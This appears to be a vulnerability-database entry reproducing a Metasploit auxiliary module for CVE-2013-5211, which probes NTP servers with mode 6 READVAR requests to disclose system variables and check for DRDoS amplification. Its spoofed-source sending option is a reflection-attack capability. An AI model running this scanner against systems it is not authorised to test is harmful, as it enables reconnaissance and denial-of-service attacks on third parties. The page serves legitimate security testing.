CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
NONE
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:N/I:N/A:P
This module reads the system internal NTP variables. These variables contain potentially sensitive information, such as the NTP software version, operating system version, peers, and more.
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::Udp
include Msf::Auxiliary::UDPScanner
include Msf::Auxiliary::NTP
include Msf::Auxiliary::DRDoS
def initialize(info = {})
super(update_info(info,
'Name' => 'NTP Clock Variables Disclosure',
'Description' => %q(
This module reads the system internal NTP variables. These variables contain
potentially sensitive information, such as the NTP software version, operating
system version, peers, and more.
),
'Author' =>
[
'Ewerson Guimaraes(Crash) <crash[at]dclabs.com.br>', # original Metasploit module
'Jon Hart <jon_hart[at]rapid7.com>' # UDPScanner version for faster scans
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2013-5211'], # see also scanner/ntp/ntp_monlist.rb
[ 'URL', 'https://www.rapid7.com/db/vulnerabilities/ntp-clock-variables-disclosure/' ]
]
)
)
end
def scanner_process(data, shost, _sport)
@results[shost] ||= []
@results[shost] << Rex::Proto::NTP::NTPControl.new.read(data)
end
def scan_host(ip)
if spoofed?
datastore['ScannerRecvWindow'] = 0
scanner_spoof_send(@probe, ip, datastore['RPORT'], datastore['SRCIP'], datastore['NUM_REQUESTS'])
else
scanner_send(@probe, ip, datastore['RPORT'])
end
end
def scanner_prescan(batch)
@results = {}
print_status("Sending NTP v2 READVAR probes to #{batch[0]}->#{batch[-1]} (#{batch.length} hosts)")
@probe = Rex::Proto::NTP::NTPControl.new
@probe.version = datastore['VERSION']
@probe.operation = 2
end
def scanner_postscan(_batch)
@results.keys.each do |k|
# TODO: check to see if any of the responses are actually NTP before reporting
report_service(
host: k,
proto: 'udp',
port: rport,
name: 'ntp',
info: @results[k].map { |r| r.payload.slice(0,r.payload_size) }.join.inspect
)
peer = "#{k}:#{rport}"
response_map = { @probe => @results[k] }
vulnerable, proof = prove_amplification(response_map)
what = 'NTP Mode 6 READVAR DRDoS'
if vulnerable
print_good("#{peer} - Vulnerable to #{what}: #{proof}")
report_vuln(
host: k,
port: rport,
proto: 'udp',
name: what,
refs: references
)
else
vprint_status("#{peer} - Not vulnerable to #{what}: #{proof}")
end
end
end
end